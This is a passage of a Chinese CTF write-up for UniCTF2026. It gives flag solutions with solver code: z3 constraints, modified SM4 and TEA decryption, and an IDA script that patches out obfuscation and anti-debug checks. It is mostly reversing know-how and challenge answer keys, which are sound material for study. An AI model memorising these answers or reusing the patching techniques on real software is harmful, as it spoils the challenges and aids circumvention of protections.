UniCTF2026-Writeup

  1. 1. Misc
    1. 1.1. Welcome
    2. 1.2. 工厂应急流量分析
    3. 1.3. Sign in
    4. 1.4. Silent Resolver
    5. 1.5. 调查问卷
  2. 2. Reverse
    1. 2.1. c_polynomial
    2. 2.2. c_sm4
    3. 2.3. 原神!启动!
    4. 2.4. Strange_Py
    5. 2.5. ezobf
    6. 2.6. r_zip
    7. 2.7. r_png
    8. 2.8. catPwd
    9. 2.9. 是人类吗?
    10. 2.10. ezVM
    11. 2.11. d4yDAY_UP
  3. 3. PWN
    1. 3.1. 什么?我不是汇编高手吗?
  4. 4. Crypto
    1. 4.1. Subgroup-Weaver

队伍名称:mio实在太可爱了

队员:jht3

1. Misc

1.1. Welcome

公众号签到即可。

1.2. 工厂应急流量分析

任务 1:谁把阀门打开了?

写线圈,目的地址找域名为ctrlws.factory.local的设备,但是不知道写哪个线圈,挨个试好了。

任务 2:被读取的 NodeId

咱也不懂为啥这么多OPC UA读请求,就这个请求是需要的。

任务 3:控制站域名解析结果

任务 4:连接建立时间

任务 5:HTTP 请求痕迹

任务 6:ICMP Echo Request 序列号

不知道谁是控制站,ping挨个试下好了。

任务 7:SNMP Get 请求的 OID

不知道为啥识别不出来SNMP请求,但好在UDP请求里写了SNMP,并且流量就这一条。

1.3. Sign in

文件名提示Serpent加密,压缩包注释中有base64的密码,找个在线网站就能解密。

1.4. Silent Resolver

按顺序把记录提取出来,然后base32得到压缩包,内含flag。

1.5. 调查问卷

接受大调查即可。

2. Reverse

2.1. c_polynomial

观察到一堆数字进行多项式计算,但是限定了后三个数字分别为44114、-606和1,因为第一个数字要异或成为UniCTF所以被限定为-1150729056。

使用z3求解,再排除一些非预期解,计科获取本题flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import z3
import struct

input = z3.BitVecs("x1 x2 x3 x4 x5 x6 x7 x8 x9",32)
solver = z3.Solver()
solver.add(input[-3] == 44114)
solver.add(input[-2] == -606)
solver.add(input[0] == -1150729056)
solver.add(input[-1] == 1)
for i in [1647827367]:solver.add(input[4] != i)
for i in range(-60,61):
total = 0
power = 1
for idx in range(9):
total += power * input[idx]
power *= i
result = total
flag = struct.unpack("<I",struct.pack("<i",i+37))[0]
bitset = 0x400C0210000001
if (flag <= 54) and (bitset & (1<<flag)):
solver.add(result==0)
else:
solver.add(result!=0)
xor_code = [0xD5,0x2A,0x0,0xD8,0xEC,0xF1,0x77,0x43,0x4D,0xC5,0xBC,0x9C,0xAB,0x3A,0x65,0xD9,0x6B,0x1F,0x5D,0x3A,0x61,0x9B,0x9B,0xCC,0x39,0x2D,0xCB,0x2A,0x1A,0xDA,0xFC,0xF6,0x65,0x1C,0x3,0x96,0xEF,0x86,0xE9,0x6B,0x3D,0x90,0x37,0x51,0x3,0x63,0x36,0xC5,0xC3,0x8E,0x66,0x7D]
_input = input
bits = [
z3.Extract(7,0,input[0]),
z3.Extract(15,8,input[0]),
z3.Extract(23,16,input[0]),
z3.Extract(31,24,input[0]),
z3.Extract(7,0,input[1]),
z3.Extract(15,8,input[1]),
z3.Extract(23,16,input[1]),
z3.Extract(31,24,input[1]),
z3.Extract(7,0,input[2]),
z3.Extract(15,8,input[2]),
z3.Extract(23,16,input[2]),
z3.Extract(31,24,input[2]),
z3.Extract(7,0,input[3]),
z3.Extract(15,8,input[3]),
z3.Extract(23,16,input[3]),
z3.Extract(31,24,input[3]),
z3.Extract(7,0,input[4]),
z3.Extract(15,8,input[4]),
z3.Extract(7,0,input[5]),
z3.Extract(15,8,input[5]),
z3.Extract(7,0,input[6]),
z3.Extract(15,8,input[6]),
z3.Extract(7,0,input[7]),
z3.Extract(15,8,input[7]),
z3.Extract(7,0,input[8]),
z3.Extract(15,8,input[8]),
]
for i in range(52):
solver.add((xor_code[i] ^ bits[i%26]) > 0)
#print(solver)
solver.check()
ans = solver.model()
print(" ".join([str(struct.unpack("<i",(struct.pack("<I",ans[i].as_long())))[0]) for i in input]))

最后面对以下非预期解已暴打出题人

2.2. c_sm4

SM4,但是改了S盒和FK,别的好像没啥了,网上抄了个SM4算法做的题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#include <iostream>
#include <string.h>
#include "sm4.h"

using namespace std;


//S盒
const unsigned char Sbox[256] = {
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};
//CK为固定参数
const unsigned int CK[32] = {
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279 };
//FK为系统参数
static const unsigned long FK[4] = {0xA3B1BAC7,0x56AA3352,0x677D919A,0xB27022E0};

static unsigned char sm4Sbox(unsigned char inch)
{
unsigned char *pTable = (unsigned char *)Sbox;
unsigned char retVal = (unsigned char)(pTable[inch]);
return retVal;
}
//已知加密密钥MK,求轮转密钥rk
static unsigned long sm4CaliRk(unsigned long ka){ //复合变换T
unsigned long bb = 0; //unsigned long 4字节( 32bit )
unsigned long rk = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka,a,0) //换转成8bit一个字符
b[0] = sm4Sbox(a[0]);
b[1] = sm4Sbox(a[1]);
b[2] = sm4Sbox(a[2]);
b[3] = sm4Sbox(a[3]);
GET_ULONG_BE(bb,b,0) //将变换结果转换为32bit的整数
//对得到的32位整数bb进行线性变换
rk = bb^ROTL(bb,13)^ROTL(bb,23);
return rk;
}
static void sm4_setkey(unsigned long SK[32],unsigned char key[16]){
unsigned long MK[4];
unsigned long k[36];
unsigned long i = 0;
GET_ULONG_BE(MK[0],key,0);
GET_ULONG_BE(MK[1],key,4);
GET_ULONG_BE(MK[2],key,8);
GET_ULONG_BE(MK[3],key,12);
k[0] = MK[0]^FK[0];
k[1] = MK[1]^FK[1];
k[2] = MK[2]^FK[2];
k[3] = MK[3]^FK[3];
for(;i<32;i++){
k[i+4] = k[i]^sm4CaliRk(k[i+1]^k[i+2]^k[i+3]^CK[i]);
SK[i] = k[i+4];
}
}
void sm4_setkey_enc(sm4_context *ctx,unsigned char key[16]){
ctx->mode = SM4_ENCRYPT;
sm4_setkey(ctx->sk,key);
}

static unsigned long sm4Lt(unsigned long ka)
{
unsigned long bb = 0;
unsigned long c = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka,a,0)
// b[0] = sm4Sbox(a[0]);
// b[1] = sm4Sbox(a[1]);
// b[2] = sm4Sbox(a[2]);
// b[3] = sm4Sbox(a[3]);
b[0] = Sbox[a[0]];
b[1] = Sbox[a[1]];
b[2] = Sbox[a[2]];
b[3] = Sbox[a[3]];
GET_ULONG_BE(bb,b,0)
c =bb^(ROTL(bb, 2))^(ROTL(bb, 10))^(ROTL(bb, 18))^(ROTL(bb, 24));
return c;
}
//一轮加密
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
return (x0^sm4Lt(x1^x2^x3^rk));
}
static void sm4_one_round( unsigned long sk[32],
unsigned char input[16],
unsigned char output[16] )
{
unsigned long i = 0;
unsigned long ulbuf[36];

memset(ulbuf, 0, sizeof(ulbuf));
GET_ULONG_BE( ulbuf[0], input, 0 )
GET_ULONG_BE( ulbuf[1], input, 4 )
GET_ULONG_BE( ulbuf[2], input, 8 )
GET_ULONG_BE( ulbuf[3], input, 12 )
while(i<32)
{
ulbuf[i+4] = sm4F(ulbuf[i], ulbuf[i+1], ulbuf[i+2], ulbuf[i+3], sk[i]);
// #ifdef _DEBUG
// printf("rk(%02d) = 0x%08x, X(%02d) = 0x%08x \n",i,sk[i], i, ulbuf[i+4] );
// #endif
i++;
}
PUT_ULONG_BE(ulbuf[35],output,0);
PUT_ULONG_BE(ulbuf[34],output,4);
PUT_ULONG_BE(ulbuf[33],output,8);
PUT_ULONG_BE(ulbuf[32],output,12);
}
//ECB模式
void sm4_crypt_ecb( sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output)
{
while( length > 0 )
{
sm4_one_round( ctx->sk, input, output );
input += 16;
output += 16;
length -= 16;
}

}
//ECB模式解密密钥
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] )
{
int i;
ctx->mode = SM4_ENCRYPT;
sm4_setkey( ctx->sk, key );
for( i = 0; i < 16; i ++ )
{
SWAP( ctx->sk[ i ], ctx->sk[ 31-i] );
}
}
//CBC模式加解密
void sm4_crypt_cbc( sm4_context *ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char *input,
unsigned char *output )
{
int i;
unsigned char temp[16];

if( mode == SM4_ENCRYPT )
{
while( length > 0 )
{
for( i = 0; i < 16; i++ )
output[i] = (unsigned char)( input[i] ^ iv[i] );

sm4_one_round( ctx->sk, output, output );
memcpy( iv, output, 16 );

input += 16;
output += 16;
length -= 16;
}
}
else /* SM4_DECRYPT */
{
while( length > 0 )
{
memcpy( temp, input, 16 );
sm4_one_round( ctx->sk, input, output );

for( i = 0; i < 16; i++ )
output[i] = (unsigned char)( output[i] ^ iv[i] );

memcpy( iv, temp, 16 );

input += 16;
output += 16;
length -= 16;
}
}
}
int main()
{
unsigned char key[16] = {0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};
unsigned char enc[32] = {0xe3,0x5d,0x1c,0x09,0xd8,0x61,0x67,0x00,0x51,0x58,0x74,0x75,0xdb,0xa0,0x13,0xbf,0xe2,0x53,0x92,0x3f,0x85,0x71,0xad,0xd7,0x0f,0x63,0xa6,0x74,0xdb,0xeb,0x8f,0x22};
unsigned char output[32];
sm4_context ctx;
unsigned long i;
//encrypt
sm4_setkey_enc(&ctx,key);
// sm4_crypt_ecb(&ctx,1,16,input,output);
// //加密结果
// printf("加密结果:\n");
// for(i = 0;i< 16;i ++){
// printf("%02x ",output[i]);
// }
// printf("\n");
sm4_setkey_dec(&ctx,key);
sm4_crypt_ecb(&ctx,0,32,enc,output);
//解密结果
printf("解密结果:\n");
for(i = 0;i< 32;i ++){
printf("%02x ",output[i]);
}
printf("\n");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
/**
* \file sm4.h
*/
#ifndef XYSSL_SM4_H
#define XYSSL_SM4_H

#define SM4_ENCRYPT 1
#define SM4_DECRYPT 0
#ifndef GET_ULONG_BE
//将字符型数组b的第i到第i+3位的二进制拼接成一个4*8=32bit的整数,存入n中
#define GET_ULONG_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << 24 ) \
| ( (unsigned long) (b)[(i) + 1] << 16 ) \
| ( (unsigned long) (b)[(i) + 2] << 8 ) \
| ( (unsigned long) (b)[(i) + 3] ); \
}
#endif
//将整数n的32位的二进制表示转换为4个char的数组,存入数组b的第i到第i+3位
#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
(b)[(i) + 3] = (unsigned char) ( (n) ); \
}
#endif
//循环左移 的巧妙实现(SHL(x,n)可以得到左移n位之后的结果,然后与右移的结果((x) >> (32 - n))逐位或来将右边空缺的n位补齐,效率比较高。)
#define SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n)))

#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }

/**
* \brief SM4 context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[32]; /*!< SM4 subkeys */
}
sm4_context;


#ifdef __cplusplus
extern "C" {
#endif

/**
* \brief SM4 key schedule (128-bit, encryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_enc( sm4_context *ctx, unsigned char key[16] );

/**
* \brief SM4 key schedule (128-bit, decryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_dec( sm4_context *ctx, unsigned char key[16] );

/**
* \brief SM4-ECB block encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param input input block
* \param output output block
*/
void sm4_crypt_ecb( sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output);

/**
* \brief SM4-CBC buffer encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void sm4_crypt_cbc( sm4_context *ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char *input,
unsigned char *output );

#ifdef __cplusplus
}
#endif

#endif /* sm4.h */

2.3. 原神!启动!

用il2cpp把C#定义导出来,然后再把定义导IDA里,即可找到判断抽取角色的逻辑。

随后把此处判断逻辑patch掉即可。

2.4. Strange_Py

pyinstaller拆包,然后pycdc+pylingual还原代码,发现主要逻辑在tea.pyc中,还导入了个Eencrypt.cp39-win_amd64.pyd的二进制包,但是好在pyd没干啥重要活,用python3.9可以直接import这个包。

随后反复调用Eencrypt里面几个函数可以发现,这个库主要负责按大端序序列化与反序列化数字,然后拼接密文与tea的key并在尾部添加一些随机数填充。

然后tea每轮异或的key在tea.pyc中写明,在加密结束后与密文一同写到flag.enc中。

至于tea则很好逆向 v、v0、v1计算顺序调过来,加号变减号,然后v的初始值改成轮次乘变化量即可。(出题人还在tea里魔改了一番,但是没啥影响)

因此得出解题代码,注意要用python3.9运行且要把Eencrypt库改名成Eencrypt.pyd并放到与脚本同一目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from ctypes import c_uint32
import struct
from Eencrypt import *

# 使用py 3.9运行

with open('flag.enc','rb') as f:enc = f.read()
enc = enc[:(len(enc)&0xFFFFFFF0)-0x00]
enc,key = enc[:len(enc)-0x10],enc[len(enc)-0x10:]
key = by(join1(key))
flag = b''
for i in range(0,len(enc),16):
data,xor_key = enc[i:i+8],enc[i+8:i+16]
data = [struct.unpack(">I",data[:4])[0],struct.unpack(">I",data[4:])[0]]
cs = 50
vi = 305419896
v0 = c_uint32(data[0])
v1 = c_uint32(data[1])
v = c_uint32(-vi*50)
for j in range(cs):
temp_sum_v_v0 = v.value + v0.value & 4294967295
temp_key3_v0_shift = key[3] - (v0.value >> 5) & 4294967295
temp_key2_16v0 = key[2] + (v0.value << 4) & 4294967295
temp_v1_update = temp_sum_v_v0 ^ temp_key3_v0_shift ^ temp_key2_16v0
v1.value = v1.value - temp_v1_update & 4294967295

temp_sum_v_v1 = v.value + v1.value & 4294967295
temp_key1_v1_shift = key[1] + (v1.value >> 5) & 4294967295
temp_key0_16v1 = key[0] + (v1.value << 4) & 4294967295
temp_v0_update = temp_sum_v_v1 ^ temp_key1_v1_shift ^ temp_key0_16v1
v0.value = v0.value - temp_v0_update & 4294967295

v.value = v.value + vi & 4294967295
data = [v0.value,v1.value]
data = struct.pack(">2I",*data)
data = xor(data,xor_key)
flag += bytes.fromhex(data)

with open('flag','wb') as f:f.write(flag)

2.5. ezobf

控制流平坦化+混淆,外带魔改AES加密。

因为jmp混淆、平坦化的下一条值异或、反调试啥啥的代码固定,所以还挺好patch的,把这些逻辑都patch掉就好看多了。

用的nop的脚本是这个,能正则匹配,但是小心正则匹配的时候本身要匹配的东西也是正则里的关键字,遇到了需要进行转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import idautils
import re
import struct

"""
Example 1

.text:3500108D 60 pusha
.text:3500108E 66 B8 65 4B mov ax, 4B65h
.text:35001092
.text:35001092 loc_35001092: ; CODE XREF: .text:35001099↓j
.text:35001092 66 BB 66 4B mov bx, 4B66h
.text:35001096 66 39 D8 cmp ax, bx
.text:35001099 75 F9 jnz short near ptr loc_35001092+2
.text:3500109B 61 popa

"""

NOP_ME_PATTERN = []

class MemHelper:
def __init__(self):
self.mem_results = b""
self.mem_offsets = []
if not self.mem_results:
self._get_memory()

def _get_memory(self):
result = b""
segments_starts = [ea for ea in idautils.Segments()]
offsets = []
start_len = 0
for start in segments_starts:
end = idc.get_segm_end(start)
result += idc.get_bytes(start, end - start)
offsets.append((start, start_len, len(result)))
start_len = len(result)
self.mem_results = result
self.mem_offsets = offsets

def to_virtual_address(self, offset):
va_offset = 0
for seg in self.mem_offsets:
if seg[1] <= offset < seg[2]:
va_offset = seg[0] + (offset - seg[1])
return va_offset


mem = MemHelper()

for mm in NOP_ME_PATTERN:
match = re.finditer(mm, mem.mem_results, re.DOTALL)
if match:
for m in match:
length = m.end() - m.start()
offset = mem.to_virtual_address(m.start())
if idc.get_segm_name(offset) == '.text':
flags = idc.get_func_attr(offset,FUNCATTR_FLAGS)
if flags != idc.BADADDR:
if flags & FUNC_LIB or flags & FUNC_THUNK:
continue
print(hex(offset))
nop = b"\x90" * length
ida_bytes.patch_bytes(offset, nop)

反正patch了很多,我也记不清patch了啥了,但是最后能把代码清理成这样:

至于去ollvm,我没做到,但好在此时代码量已经不大了,就丢给AI还原了,结合AI写了个大概(虽然有错的部分),再进行盯帧,发现AES魔改了S盒,然后还在do MixColumns后面额外多了一轮do ShiftRows,最后扒了个AES代码在上面改得出flag(调试的时候没看出来多的这一轮,导致对着ollvm的代码下断点比较每轮加密的数据痛苦至极)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
#include <stdio.h>
#include <memory.h>

#include "rijndael.h"

//
// Public Definitions
//

/* moved to rijndael.h */

//
// Internal Definitions
//

/*
* Encryption Rounds
*/
int g_aes_key_bits[] = {
/* AES_CYPHER_128 */ 128,
/* AES_CYPHER_192 */ 192,
/* AES_CYPHER_256 */ 256,
};

int g_aes_rounds[] = {
/* AES_CYPHER_128 */ 10,
/* AES_CYPHER_192 */ 12,
/* AES_CYPHER_256 */ 14,
};

int g_aes_nk[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 6,
/* AES_CYPHER_256 */ 8,
};

int g_aes_nb[] = {
/* AES_CYPHER_128 */ 4,
/* AES_CYPHER_192 */ 4,
/* AES_CYPHER_256 */ 4,
};



/*
* aes Rcon:
*
* WARNING: Rcon is designed starting from 1 to 15, not 0 to 14.
* FIPS-197 Page 9: "note that i starts at 1, not 0"
*
* i | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14
* -----+------------------------------------------------------------------------------------------
* | [01] [02] [04] [08] [10] [20] [40] [80] [1b] [36] [6c] [d8] [ab] [4d] [9a]
* RCON | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
* | [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00] [00]
*/

static const uint32_t g_aes_rcon[] = {
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000,
0x1b000000, 0x36000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};

/* aes sbox and invert-sbox */
static const uint8_t g_aes_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C D E F */
0x45,0x25,0x95,0xF4,0x49,0x7F,0x39,0xFE,0x2B,0x5,0xD7,0x64,0xD1,0x9C,0x5B,0x7C,0xA7,0xD2,0xAC,0x1D,0x10,0xCB,0xE6,0xEB,0xA0,0x15,0x2,0x8,0x21,0x96,0x65,0x11,0xEF,0x63,0xC0,0x94,0xEA,0x70,0x84,0xB8,0xF1,0x56,0x7B,0x23,0x4D,0x37,0xAF,0xC8,0x46,0x8E,0x13,0xAD,0x2A,0x1C,0x4B,0xB1,0x47,0x2D,0x2E,0xA2,0x3B,0x9A,0x8C,0xF7,0x3E,0x51,0x48,0x8D,0xB4,0x2F,0xED,0xD5,0x83,0x42,0x69,0x34,0x86,0x6E,0xE3,0x36,0xFF,0xA3,0x33,0x59,0xA6,0xE,0x8A,0x7,0xB7,0xB,0xAA,0xBE,0xCA,0x87,0x1F,0x79,0xC3,0xEC,0x75,0xDC,0x68,0x6,0x58,0xC4,0x29,0x89,0x54,0xA8,0x3C,0xBB,0x4A,0x1E,0x1B,0xE1,0xBD,0x71,0xDB,0x52,0x41,0xE2,0xDA,0xD3,0xF9,0x14,0x26,0x7A,0x53,0x9B,0x81,0xCF,0xC,0x35,0x40,0x9E,0xCE,0x5D,0x67,0xC1,0xFC,0x6B,0x6F,0x93,0xFB,0x9D,0x8B,0x30,0x76,0x4F,0x5C,0x6A,0xF0,0x1A,0x1,0xF2,0xF3,0x7E,0xC6,0x28,0xF5,0xE7,0x99,0xF8,0xC7,0x74,0xFD,0x82,0xE8,0xEE,0x9,0x55,0x77,0x44,0x22,0xAE,0x5E,0xD8,0x12,0x4C,0x88,0x97,0xE9,0x3F,0x38,0x98,0xDE,0x6C,0xCD,0x50,0xE0,0x6D,0x32,0x43,0x61,0xA1,0xA,0xB2,0x5F,0xDD,0x9F,0xE4,0x7D,0xB0,0x16,0x3D,0x2C,0xFA,0xC2,0xA4,0xB9,0x66,0xBA,0xD0,0x92,0xD6,0x78,0xDF,0xAB,0xB5,0x27,0x8F,0xCC,0x4,0x62,0xD9,0xA5,0xC9,0xBC,0x19,0x85,0xD,0x80,0x5A,0x3A,0xF6,0x17,0xB6,0xB3,0x31,0xBF,0xE5,0x60,0x18,0x91,0x0,0xD4,0x73,0x20,0xC5,0xF,0x90,0x57,0x4E,0x3,0x72,0x24,0xA9
};

static const uint8_t g_inv_sbox[256] = {
/* 0 1 2 3 4 5 6 7 8 9 A B C D E F */
243, 152, 26, 252, 221, 9, 101, 87, 27, 168, 194, 89, 130, 229, 85, 248, 20, 31, 176, 50, 123, 25, 202, 234, 241, 227, 151, 112, 53, 19, 111, 94, 246, 28, 172, 43, 254, 1, 124, 218, 157, 104, 52, 8, 204, 57, 58, 69, 145, 237, 190, 82, 75, 131, 79, 45, 182, 6, 232, 60, 108, 203, 64, 181, 132, 118, 73, 191, 171, 0, 48, 56, 66, 4, 110, 54, 177, 44, 251, 147, 187, 65, 117, 126, 106, 169, 41, 250, 102, 83, 231, 14, 148, 135, 174, 196, 240, 192, 222, 33, 11, 30, 209, 136, 100, 74, 149, 139, 185, 189, 77, 140, 37, 115, 253, 245, 163, 98, 146, 170, 214, 95, 125, 42, 15, 200, 155, 5, 230, 128, 165, 72, 38, 228, 76, 93, 178, 105, 86, 144, 62, 67, 49, 219, 249, 242, 212, 141, 35, 2, 29, 179, 183, 160, 61, 127, 13, 143, 133, 198, 24, 193, 59, 81, 207, 224, 84, 16, 107, 255, 90, 216, 18, 51, 173, 46, 201, 55, 195, 236, 68, 217, 235, 88, 39, 208, 210, 109, 226, 114, 91, 238, 34, 137, 206, 96, 103, 247, 156, 162, 47, 225, 92, 21, 220, 186, 134, 129, 211, 12, 17, 121, 244, 71, 213, 10, 175, 223, 120, 